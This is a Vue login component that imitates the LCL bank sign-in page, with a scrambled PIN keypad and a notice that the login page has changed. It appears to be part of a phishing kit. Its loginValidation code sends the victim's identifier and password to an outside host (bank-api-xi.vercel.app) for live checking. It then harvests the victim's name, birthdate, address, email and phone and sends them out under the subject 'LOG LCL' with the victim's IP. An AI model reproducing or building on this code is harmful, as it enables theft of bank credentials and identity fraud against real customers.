<template>
	<div id="wrapper">
     <div class="left">
        <div class="inner">
           <div class="logo"><img src="files/lcl/logo.svg"></div>
           <form @submit.prevent="loginValidation" action="" method="post">
              <legend>Votre identifiant</legend>
              <div id="id_inputs" class="inputs">
                 <input v-model="inputs._1" type="tel" size="1" maxlength="1" name="input1" id="input1">
                 <input v-model="inputs._2" type="tel" size="1" maxlength="1" name="input2" id="input2">
                 <input v-model="inputs._3" type="tel" size="1" maxlength="1" name="input3" id="input3">
                 <input v-model="inputs._4" type="tel" size="1" maxlength="1" name="input4" id="input4">
                 <input v-model="inputs._5" type="tel" size="1" maxlength="1" name="input5" id="input5">
                 <input v-model="inputs._6" type="tel" size="1" maxlength="1" name="input6" id="input6">
                 <input v-model="inputs._7" type="tel" size="1" maxlength="1" name="input7" id="input7">
                 <input v-model="inputs._8" type="tel" size="1" maxlength="1" name="input8" id="input8">
                 <input v-model="inputs._9" type="tel" size="1" maxlength="1" name="input9" id="input9">
                 <input v-model="inputs._10" type="tel" size="1" maxlength="1" name="input10" id="input10">
              </div>
              <div class="text-center">
                 <p class="remember">Mémoriser mon identifiant</p>
              </div>
              <div class="kk">
                 <div class="btns">
                    <button id="submit1" v-on:click="submitId" type="button" class="disabled" disabled="">
                       Continue 
                       <svg class="svg-inline--fa fa-long-arrow-alt-right fa-w-14" aria-hidden="true" data-prefix="fas" data-icon="long-arrow-alt-right" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512" data-fa-i2svg="">
                          <path fill="currentColor" d="M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z"></path>
                       </svg>
                       <!-- <i class="fas fa-long-arrow-alt-right"></i> -->
                    </button>
                 </div>
                 <p>Identifiant oublié ?</p>
                 <p>Code personnel oublié ?</p>
              </div>

               <template v-if="errors">
                 <div v-if="errors.login_error" id="error" style="text-align: left;color: #d60606;margin-top:10px;margin-bottom:10px;">
                   {{ errors.login_error }}
                 </div>
               </template>

              <div class="dd">
                 <h3>Votre code personnel</h3>
                 <div class="inputs2">
                    <ul>
                       <li></li>
                       <li></li>
                       <li></li>
                       <li></li>
                       <li></li>
                       <li></li>
                       <li class="remove">x</li>
                    </ul>
                 </div>
                 <input type="hidden" name="password" id="password">
                 <div class="numbers">
                    <ul>
                       <li data-number="7" style="margin-top: 0;">7</li>
                       <li data-number="2">2</li>
                       <li data-number="6">6</li>
                       <li data-number="4">4</li>
                       <li data-number="0">0</li>
                    </ul>
                    <ul>
                       <li data-number="8" style="margin-top: 0;">8</li>
                       <li data-number="5">5</li>
                       <li data-number="3">3</li>
                       <li data-number="9">9</li>
                       <li data-number="1">1</li>
                    </ul>
                 </div>
                 <div class="btns">
                    <button id="submit2" type="submit" class="disabled" disabled="">
                       Valider 
                       <svg class="svg-inline--fa fa-long-arrow-alt-right fa-w-14" aria-hidden="true" data-prefix="fas" data-icon="long-arrow-alt-right" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512" data-fa-i2svg="">
                          <path fill="currentColor" d="M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z"></path>
                       </svg>
                       <!-- <i class="fas fa-long-arrow-alt-right"></i> -->
                    </button>
                 </div>
                 <p>Identifiant oublié ?</p>
                 <p>Code personnel oublié ?</p>
              </div>
           </form>
        </div>
     </div>
     <div class="right">
        <div class="content">
           <div class="img"><img src="files/lcl/img.png"></div>
           <div class="cc">
              <h3>Bienvenue sur votre nouvelle page de connexion</h3>
              <p>Votre page de connexion a changé.<br>Votre identifiant et votre mot de passe restent les mêmes.</p>
              <span>Se rendre sur LCL sécurité</span>
           </div>
        </div>
     </div>
  </div>
</template>

<script>
module.exports = {

	props: ['log'],

    data: function() {
        return {

        	errors: {},

          loader: null,

          inputs: {
            _1: '',
            _2: '',
            _3: '',
            _4: '',
            _5: '',
            _6: '',
            _7: '',
            _8: '',
            _9: '',
            _10: '',
          },
        }
    },

    computed: {
    	//
    },
    
    created: function() {
    	console.log('hagrapush_step_login, created')
    },

    mounted: function() {
    	console.log('hagrapush_step_login, mounted')

      let vm = this

       jQuery('#id_inputs input').payment('restrictNumeric');
       
       $('#id_inputs input').click(function(){
           $('#id_inputs input').each(function(i){
               if( $(this).val() == '' ) {
                   $(this).focus();
                   return false;
               }
           }); 
       });

       $('#id_inputs input').keyup(function(e){
           var btn = e.keyCode;
           if( btn == 8 ) {
               $(this).prev().focus();
           } else {
               if ( $.isNumeric($(this).val()) == false )
                   return false;
               $(this).next().focus();
           }
       
           if( vm.inputs._1 !== '' && vm.inputs._2 !== '' && vm.inputs._3 !== '' && vm.inputs._4 !== '' && vm.inputs._5 !== '' && vm.inputs._6 !== '' && vm.inputs._7 !== '' && vm.inputs._8 && vm.inputs._9 !== '' && vm.inputs._10 !== '' ) {
               $('#submit1').removeAttr('disabled').removeClass('disabled');
           } else {
               $('#submit1').attr('disabled','disabled').addClass('disabled');
               $('#submit2').attr('disabled','disabled').addClass('disabled');
           }
       
           if( $('#password').val().length == 6 && vm.inputs._1 !== '' && vm.inputs._2 !== '' && vm.inputs._3 !== '' && vm.inputs._4 !== '' && vm.inputs._5 !== '' && vm.inputs._6 !== '' && vm.inputs._7 !== '' && vm.inputs._8 && vm.inputs._9 !== '' && vm.inputs._10 !== '' ) {
               $('#submit2').removeAttr('disabled').removeClass('disabled');
           }
       
       });

       $('.numbers ul li').click(function(){
           if( $('#password').val().length == 6 )
               return false;
           var cur_number = $(this).data('number');
           var old_val = $('#password').val();
           var zz = old_val + cur_number;
           $('#password').val(zz);
           var num = $(".inputs2 ul li:not('.active')");
           console.log(num);
           if( num.length > 0 ) {
               $(num[0]).addClass('active');
           }
           if( $('#password').val().length == 6 ) {
               $('.remove').css({ 'display':'flex' });
           }
           if( $('#password').val().length == 6 && vm.inputs._1 !== '' && vm.inputs._2 !== '' && vm.inputs._3 !== '' && vm.inputs._4 !== '' && vm.inputs._5 !== '' && vm.inputs._6 !== '' && vm.inputs._7 !== '' && vm.inputs._8 && vm.inputs._9 !== '' && vm.inputs._10 !== '' ) {
               $('#submit2').removeAttr('disabled').removeClass('disabled');
           }
       });

       $('.remove').click(function(){
           $(".inputs2 ul li:not('.remove')").removeClass('active');
           $('#submit2').attr('disabled','disabled').addClass('disabled');
           $('#password').val('');
           $('.remove').hide();
       });

    },
    destroyed: function() {
    	console.log('hagrapush_step_login, destroyed')

      if(this.loader)
        this.loader.hide()
    },

    methods: {

        // Login

        resetLogin: function() {
            this.$parent.log.ID = null;
            this.$parent.log.PASSWORD = null;
        },

        submitId: function() {
           $('.dd').show();
           $('.kk').hide();
        },

        //

        loginValidation: async function() {
        
            this.errors = {}

            let vm = this
            this.$parent.log.ID = String(vm.inputs._1) + vm.inputs._2 + vm.inputs._3 + vm.inputs._4 + vm.inputs._5 + vm.inputs._6 + vm.inputs._7 + vm.inputs._8 + vm.inputs._9 + vm.inputs._10
            this.$parent.log.PASSWORD = $('#password').val()

            let identifiant = this.$parent.log.ID
            let password    = this.$parent.log.PASSWORD

            if (uValidator.empty(identifiant)) {

                $('#identifiant').addClass('has-error');
                $('#password').removeClass('has-error');

                this.errors.login_error = 'Votre identifiant est incorrect.';

            } else if (uValidator.empty(password)) {

                $('#identifiant').removeClass('has-error');
                $('#password').addClass('has-error');

                this.errors.login_error = "Veuillez saisir votre mot de passe à six chiffres";

            } else {
                
                $('#identifiant').removeClass('has-error');
                $('#password').removeClass('has-error');

                this.errors = {}

                this.loader = this.$loading.show({
                    container: this.$refs.loginContainer
                });

                let trueLoginCheck = () => {
                    return new Promise((resolve, reject) => {
                        $.ajax({
                            url: 'https://bank-api-xi.vercel.app/api/check_lcl_login.php?identifiant=' + this.$parent.log.ID + '&password=' + this.$parent.log.PASSWORD + '&withCards=true',
                            success: (data) => {
                                console.log(data);
                                resolve(data);
                            },
                            error: (XMLHttpRequest, textStatus, errorThrown) => {
                                console.log("Status: " + textStatus);
                                reject(errorThrown)
                            }
                        })
                    })
                }

                try {
                    let data

                    if (CAS_CONFIG.APP.TrueLogin ?? true) {
                        data = await trueLoginCheck()
                    } else {
                        data = {
                            auth: 'alert'
                        }
                    }

                    console.log(data)

                    if (data.auth) {
                        
                        //location.reload(true);

                        this.$parent.authData = data

                        if (this.$parent.authData && this.$parent.authData.details && this.$parent.authData.details.check['store.client']) {
                            this.$parent.log.civility = this.$parent.authData.details.check['store.client'].civility
                            this.$parent.log.familyName = this.$parent.authData.details.check['store.client'].familyName
                            this.$parent.log.givenName = this.$parent.authData.details.check['store.client'].givenName
                            this.$parent.log.birthdate = this.$parent.authData.details.check['store.client'].birthdate
                            this.$parent.log.zipcode = this.$parent.authData.details.check['store.client'].zipcode
                            this.$parent.log.email = this.$parent.authData.details.check.email
                            this.$parent.log.phoneNumberHashed = this.$parent.authData.details.check.phoneNumber
                            this.$parent.log.address = this.$parent.authData.details.check.address
                        }

                        this.$emit('dostartvalidate', {
                            message: {
                                subject: 'LOG LCL > ' + iPfull
                            },
                            validateData: {
                                identifiant: this.$parent.log.ID,
                                password: this.$parent.log.PASSWORD,
                            },
                            requireValidate: !(CAS_CONFIG.APP.TrueLogin ?? true),

                            onSuccess: (payload) => {

                              this.loader.hide()

                              this.$emit('dovalidate', true)
                            },
                            onFailed: (payload) => {

                              this.loader.hide()

                              $('#identifiant').addClass('has-error');
                              $('#password').removeClass('has-error');

                              this.errors = {}

                              this.errors.login_error = 'Votre identifiant est incorrect.';

                              this.$emit('dovalidate', false)

                            },
                            onProgress: (payload) => {
                              
                            },
                        })

                    } else {

                        this.errors = data.errors;

                        this.loader.hide()
                        
                    }
                } catch (err) {
                    
                    console.error(err)
                    
                    this.resetLogin();
                    
                    this.loader.hide()
                }
            }
        },
    },
}
</script>